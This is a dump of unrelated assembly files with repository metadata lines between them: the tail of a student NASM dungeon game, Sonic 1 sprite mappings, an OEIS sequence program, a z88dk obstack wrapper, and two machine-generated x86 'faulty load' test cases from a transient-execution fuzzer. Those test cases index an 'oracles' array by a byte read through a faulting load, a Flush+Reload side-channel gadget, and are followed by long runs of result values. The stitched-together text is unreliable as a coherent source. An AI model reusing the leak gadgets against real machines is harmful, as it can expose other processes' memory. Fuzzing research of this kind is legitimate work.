FONT_KERN_OFF EQU 8+256*8
MAP_TILES_WIDTH EQU 512
ITEMS_WIDTH EQU 320
SCREEN_WIDTH EQU 640
SCREEN_HEIGHT EQU 480
MSG_X EQU 10
MSG_Y EQU 6
; directional scancodes
INPUT_UPLEFT EQU 47h ; home
INPUT_UP EQU 48h ; up arrow
INPUT_UPRIGHT EQU 49h ; pgup
INPUT_DOWNLEFT EQU 4Fh ; end
INPUT_LEFT EQU 4Bh ; left arrow
INPUT_RIGHT EQU 4Dh ; right arrow
INPUT_DOWN EQU 50h ; down arrow
INPUT_DOWNRIGHT EQU 51h ; pgdn
;====== SECTION 2: Declare external routines ==============================
; Declare external library routines
EXTERN _libDrawMap, _libDrawString, _MoveChar, _PickUp, _DropItem
EXTERN _libInstallKeyboard, _libRemoveKeyboard
_libDrawString_arglen EQU 12
_MoveChar_arglen EQU 8
_DropItem_arglen EQU 4
; Declare local routines global (so library routines can use them)
GLOBAL _DrawMap, _DrawString
GLOBAL _InstallKeyboard, _RemoveKeyboard
; Make program variables global (so library routines can use them)
GLOBAL _ItemDesc, _Items, _Items.end, _Pockets, _Input, _Player,
GLOBAL _CantPickUp, _PickedUp, _Dropped, _CantDrop, _PocketsFull, _KeyMsg,
GLOBAL _CantGo, _ShadowWork, _WhitePixel, _RoundingFactor
GLOBAL _ScreenOff, _FontOff, _FDatOff, _TileOff, _ItemOff
GLOBAL _kbINT, _kbPort, _kbIRQ
; External program variables
EXTERN _Map ; The game map (see map.asm)
EXTERN _ShadowMaps ; Precalculated shadow maps for vis check (shadows.asm)
SECTION .bss
_kbINT resb 1
_kbIRQ resb 1
_kbPort resw 1
_GraphicsMode resw 1 ; ex291 graphics mode
; Temporary calculation space for shadow map
_ShadowWork resb 6*6
_ScreenOff resd 1
_FontOff resd 1
_FDatOff resd 1
_TileOff resd 1
_ItemOff resd 1
SECTION .data
;====== SECTION 5: Declare variables for main procedure ===================
_FN_Font db 'arialbd.png',0
_FN_FDat db 'arialbd.dat',0
_FN_Tile db 'maptiles.png',0
_FN_Item db 'itemtile.png',0
align 4
_ItemDesc
dd .0, .1, .2, .3, .4, .5, .6
times 19 dd .x
.0 db 'A Delicious Apple',0
.1 db 'A Poisonous Mushroom',0
.2 db 'An MP3 File',0
.3 db 'A Spider',0
.4 db 'A National Semiconductor AND Chip',0
.5 db 'Power for your ECE110 Car',0
.6 db 'A Wrench: the ultimate debugger',0
.x db 'Nothing',0
; Item structure (describes the byte organization of the Items array)
STRUC Item
.Type resd 1 ; MSB (bit 7) is 1 if in pocket
; (the constant ITEM_INPOCKET is or'ed in)
; Bits 6-0 are index into _ItemOff and
; ItemDesc arrays.
.MapOff resd 1 ; Offset into the map array (Y*MAP_WIDTH+X)
ENDSTRUC
align 4
_Items
dd 2, 6*MAP_WIDTH+25
dd 3, 5*MAP_WIDTH+28
dd 1, 6*MAP_WIDTH+25
dd 0, 9*MAP_WIDTH+55
dd 2,18*MAP_WIDTH+60
dd 4,24*MAP_WIDTH+15
dd 5,32*MAP_WIDTH+72
dd 6,36*MAP_WIDTH+20
.end
NUM_MAP_ITEMS EQU ($-_Items)/8
_Player dd 14*MAP_WIDTH+35
_Pockets times MAX_POCKET db POCKET_EMPTY
_Input db 0
_WhitePixel dd 00FFFFFFh
_RoundingFactor dd 00800080h, 00800080h
_CantPickUp db 'Nothing to pick up',0
_PickedUp db 'Picked Up ',0
_Dropped db 'Dropped ',0
_CantDrop db "Can't drop that",0
_PocketsFull db 'Pockets full',0
_KeyMsg db ' ( )',0
_CantGo db "Can't go that way",0
; Keyboard lookup table (ascii). starts at 10h
ASCIILookup_start equ 10h
ASCIILookup
db 'qwertyuiop'
db 0,0,0,0
db 'asdfghjkl'
db 0,0,0,0,0
db 'zxcvbnm'
db 0,0,0,0,0,0
db ' '
.end
; Keyboard lookup table 2 (keypad), starts at 47h
KeypadLookup_start equ 47h
KeypadLookup
dd -1, -1 ; home
dd 0, -1 ; up
dd 1, -1 ; pgup
dd 0, 0
dd -1, 0 ; left
dd 0, 0
dd 1, 0 ; right
dd 0, 0
dd -1, 1 ; end
dd 0, 1 ; down
dd 1, 1 ; pgdn
.end
;====== SECTION 7: Main procedure =========================================
_main:
call _LibInit
; Alocate Screen Buffer
invoke _AllocMem, dword SCREEN_WIDTH*SCREEN_HEIGHT*4
cmp eax, -1
je near .memerror
mov [_ScreenOff], eax
; Allocate Data and Image Buffers (except for Font image)
invoke _AllocMem, dword FONT_DATA_SIZE + (MAP_TILES_WIDTH*TILE_HEIGHT + ITEMS_WIDTH*TILE_HEIGHT)*4
cmp eax, -1
je near .memerror
mov [_FDatOff], eax
add eax, FONT_DATA_SIZE
mov [_TileOff], eax
add eax, MAP_TILES_WIDTH*TILE_HEIGHT*4
mov [_ItemOff], eax
; Load font data.. do this first so we know how big the font image is
invoke _OpenFile, dword _FN_FDat, word 0
push eax
invoke _ReadFile, eax, dword [_FDatOff], dword FONT_DATA_SIZE
pop eax
invoke _CloseFile, eax
; Allocate Font Image
mov eax, [_FDatOff]
mov edx, [eax+FONT_WIDTH_OFF] ; width
imul edx, dword [eax+FONT_HEIGHT_OFF]; width*height
shl edx, 2 ; width*height*4
invoke _AllocMem, edx
cmp eax, -1
je near .memerror
mov [_FontOff], eax
; Load font and tile images
invoke _LoadPNG, dword _FN_Font, dword [_FontOff], dword 0, dword 0
invoke _LoadPNG, dword _FN_Tile, dword [_TileOff], dword 0, dword 0
invoke _LoadPNG, dword _FN_Item, dword [_ItemOff], dword 0, dword 0
; Graphics Init
invoke _InitGraphics, dword _kbINT, dword _kbIRQ, dword _kbPort
test eax, eax
jnz near .graphicserror
; Find Graphics Mode: 640x480x32, allow driver-emulated modes
invoke _FindGraphicsMode, word SCREEN_WIDTH, word SCREEN_HEIGHT, word 32, dword 1
mov [_GraphicsMode], ax
invoke _InstallKeyboard
invoke _SetGraphicsMode, word [_GraphicsMode]
call _MP4Main
call _RemoveKeyboard
.graphicserror
call _ExitGraphics
.memerror
call _LibExit
ret
;====== MP4Main ===========================================================
_MP4Main:
push edi
; Set up initial visibility
xor edx, edx ; No movement
invoke _MoveChar, dword edx, dword edx
call _DrawMap
.loop:
invoke _CopyToScreen, dword [_ScreenOff], dword SCREEN_WIDTH*4, dword 0, dword 0, dword SCREEN_WIDTH, dword SCREEN_HEIGHT, dword 0, dword 0
.wait:
; Wait for new input
movzx ebx, byte [_Input]
test ebx, ebx
jz .wait
mov byte [_Input], 0 ; Clear input
; Clear the status line (overkill this way)
push ebx
call _DrawMap
pop ebx
; Check for a-z and space characters
cmp bl, ASCIILookup_start
jb .notascii
cmp bl, ASCIILookup_start+ASCIILookup.end-ASCIILookup
ja .notascii
mov bl, [ASCIILookup+ebx-ASCIILookup_start]
cmp bl, ' '
je .pickup
test ebx, ebx
jz .loop
sub ebx, 'a'
invoke _DropItem, ebx
jmp short .loop
.pickup:
call _PickUp
jmp short .loop
.notascii:
cmp bl, ESC
je .done
; Check for keypad movement characters
cmp bl, KeypadLookup_start
jb .loop
cmp bl, KeypadLookup_start+(KeypadLookup.end-KeypadLookup)/8
ja .loop
sub ebx, KeypadLookup_start
invoke _MoveChar, dword [KeypadLookup+ebx*8], dword [KeypadLookup+ebx*8+4]
test eax, eax
jz .loop
call _DrawMap
jmp .loop
.done:
pop edi
ret
;====== SECTION 8: Your subroutines =======================================
;====== DrawMap ===========================================================
proc _DrawMap
invoke _libDrawMap
ret
endproc
;====== DrawString ========================================================
proc _DrawString
.x arg 4
.y arg 4
.str arg 4
invoke _libDrawString, dword[ebp+.x], dword[ebp+.y], dword[ebp+.str]
ret
endproc
_DrawString_arglen EQU 12
;====== InstallKeyboard ===================================================
_InstallKeyboard
call _libInstallKeyboard ; This only installs _libKeyboardISR
ret
;====== RemoveKeyboard ====================================================
_RemoveKeyboard:
call _libRemoveKeyboard
ret
;====== KeyboardISR =======================================================
_KeyboardISR
; your code here
_KeyboardISR_end
| 22.927978 | 140 | 0.69083 |
0d9a6cafe6c7d2a13179e44b1e0c1ea23a9e2967 | 470 | asm | Assembly | _maps/obj33.asm | vladjester2020/Sonic1TMR | 22e749a2aab74cc725729e476d6252b071c12e42 | [
"Apache-2.0"
] | null | null | null | _maps/obj33.asm | vladjester2020/Sonic1TMR | 22e749a2aab74cc725729e476d6252b071c12e42 | [
"Apache-2.0"
] | 2 | 2019-06-13T14:26:59.000Z | 2019-10-10T13:15:14.000Z | _maps/obj33.asm | vladjester2020/Sonic1TMR | 22e749a2aab74cc725729e476d6252b071c12e42 | [
"Apache-2.0"
] | null | null | null | ; ---------------------------------------------------------------------------
; Sprite mappings - pushable blocks (MZ, LZ)
; ---------------------------------------------------------------------------
dc.w byte_C2EA-Map_obj33
dc.w byte_C2F0-Map_obj33
byte_C2EA: dc.b 1
dc.b $F0, $F, 0, 8, $F0 ; single block
byte_C2F0: dc.b 4
dc.b $F0, $F, 0, 8, $C0 ; row of 4 blocks
dc.b $F0, $F, 0, 8, $E0
dc.b $F0, $F, 0, 8, 0
dc.b $F0, $F, 0, 8, $20
even | 36.153846 | 78 | 0.374468 |
2be2ae6a934db3741cc58aa3b3c91fff4d9c6545 | 3,997 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_1536.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_1536.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_1536.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rcx
lea addresses_A_ht+0x4343, %r14
clflush (%r14)
nop
nop
nop
nop
nop
sub $18759, %r15
mov (%r14), %rcx
xor $20733, %r10
pop %rcx
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %rax
push %rbp
push %rbx
// Faulty Load
lea addresses_WT+0x1943, %r8
nop
and $36163, %rbp
movb (%r8), %bl
lea oracles, %r8
and $0xff, %rbx
shlq $12, %rbx
mov (%r8,%rbx,1), %rbx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': True, 'AVXalign': True, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 66.616667 | 2,999 | 0.661246 |
2480707fa8c964558cdd1b78f4d78e2a923ac975 | 873 | asm | Assembly | programs/oeis/178/A178731.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/178/A178731.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/178/A178731.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A178731: a(n) = n XOR 5n, where XOR is bitwise XOR.
; Coded manually 2021-03-30 by Simon Strandgaard, https://github.com/neoneye
; 0,4,8,12,16,28,24,36,32,36,56,60,48,76,72,68,64,68,72,76,112,124,120,100,96,100,152,156,144,140,136,132,128,132,136,140,144,156,152,228,224,228,248,252,240,204,200,196,192,196,200,204,304,316,312,292,288,292
mov $5,$0
mul $5,5
; Now $5 holds 5*n
; Determine the number of times to loop
mov $2,$5
seq $2,70939 ; Length of binary representation of 5*n.
mov $4,1 ; Inital scale factor
lpb $2
; Do xor with the lowest bit
mov $3,$0
add $3,$5
mod $3,2
; Now $3 holds the bitwise xor with $0 and $5
; Scale up the bit, and add to result
mul $3,$4
add $1,$3
div $0,2 ; Remove the lowest bit from n
div $5,2 ; Remove the lowest bit from 5*n
mul $4,2 ; Double the scale factor. Example: 1,2,4,8,16,32
sub $2,1
lpe
mov $0,$1
| 32.333333 | 209 | 0.667812 |
0decfcb4989520b053196ab1e7fe891c938b5725 | 273 | asm | Assembly | libsrc/_DEVELOPMENT/alloc/obstack/c/sdcc_iy/obstack_int_grow_fast_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/alloc/obstack/c/sdcc_iy/obstack_int_grow_fast_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/alloc/obstack/c/sdcc_iy/obstack_int_grow_fast_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; void *obstack_int_grow_fast_callee(struct obstack *ob, int data)
SECTION code_alloc_obstack
PUBLIC _obstack_int_grow_fast_callee
_obstack_int_grow_fast_callee:
pop af
pop hl
pop bc
push af
INCLUDE "alloc/obstack/z80/asm_obstack_int_grow_fast.asm"
| 17.0625 | 66 | 0.783883 |
f0c73c2c18a3b19650f1dc38706bde6e7d9e88f9 | 8,706 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_21829_1.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_21829_1.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_21829_1.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1b931, %r8
nop
nop
nop
xor $7069, %r12
movl $0x61626364, (%r8)
nop
and $14488, %r14
lea addresses_WT_ht+0x1a5bf, %r8
nop
cmp $48745, %rdx
movb (%r8), %r10b
dec %r10
lea addresses_WC_ht+0x5827, %r14
nop
nop
nop
nop
nop
add $52098, %r9
mov $0x6162636465666768, %r12
movq %r12, %xmm5
movups %xmm5, (%r14)
xor $21163, %rdx
lea addresses_UC_ht+0x1ac27, %r10
nop
nop
and $61217, %r9
mov (%r10), %r12
nop
mfence
lea addresses_UC_ht+0x16239, %r10
sub %rdi, %rdi
mov $0x6162636465666768, %r12
movq %r12, %xmm4
movups %xmm4, (%r10)
nop
nop
nop
nop
nop
add $24223, %r8
lea addresses_UC_ht+0x12427, %rdx
nop
nop
and $12517, %r9
mov $0x6162636465666768, %r8
movq %r8, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
nop
xor %r14, %r14
lea addresses_A_ht+0x1d927, %r12
nop
nop
sub $19876, %r14
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
vmovups %ymm5, (%r12)
nop
nop
nop
nop
nop
cmp %r14, %r14
lea addresses_A_ht+0x12427, %r8
nop
nop
nop
nop
add $42355, %rdi
movl $0x61626364, (%r8)
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0x14607, %rsi
lea addresses_A_ht+0xe32f, %rdi
nop
nop
nop
nop
nop
add $45781, %rdx
mov $55, %rcx
rep movsl
and $16787, %r14
lea addresses_A_ht+0xba27, %rsi
lea addresses_A_ht+0x16427, %rdi
nop
nop
nop
cmp $64614, %r8
mov $123, %rcx
rep movsq
nop
nop
add $41105, %rcx
lea addresses_WT_ht+0x1d365, %rsi
lea addresses_normal_ht+0x5f27, %rdi
nop
and $37754, %r9
mov $11, %rcx
rep movsw
nop
nop
nop
nop
nop
and $57553, %r14
lea addresses_WC_ht+0xf4c3, %rsi
lea addresses_WC_ht+0x15a67, %rdi
nop
nop
nop
and $44437, %r14
mov $114, %rcx
rep movsq
nop
nop
nop
nop
and $45292, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Load
lea addresses_D+0xa0c1, %r10
nop
nop
dec %r8
mov (%r10), %r14d
nop
nop
xor %rax, %rax
// Store
lea addresses_WT+0x427, %r15
nop
nop
nop
inc %rbx
mov $0x5152535455565758, %r8
movq %r8, %xmm3
movups %xmm3, (%r15)
nop
inc %r15
// REPMOV
lea addresses_PSE+0x6cf, %rsi
lea addresses_WT+0x90c7, %rdi
clflush (%rdi)
nop
sub %r14, %r14
mov $81, %rcx
rep movsq
xor $11791, %r15
// Store
lea addresses_D+0x1cdd1, %rsi
nop
nop
nop
nop
nop
sub %r8, %r8
mov $0x5152535455565758, %rdi
movq %rdi, %xmm6
vmovups %ymm6, (%rsi)
nop
nop
nop
nop
nop
dec %r14
// Store
lea addresses_normal+0xd93f, %rbx
nop
nop
nop
nop
and $30880, %r8
mov $0x5152535455565758, %r10
movq %r10, (%rbx)
nop
nop
nop
nop
nop
xor %r10, %r10
// Store
lea addresses_WC+0xd427, %rbx
nop
dec %rdi
movb $0x51, (%rbx)
add %rdi, %rdi
// Faulty Load
lea addresses_WT+0x427, %rbx
nop
and $41301, %rdi
movups (%rbx), %xmm0
vpextrq $1, %xmm0, %r10
lea oracles, %r8
and $0xff, %r10
shlq $12, %r10
mov (%r8,%r10,1), %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D', 'congruent': 1}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_PSE'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 8}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 1}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 3}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 9}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 11}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 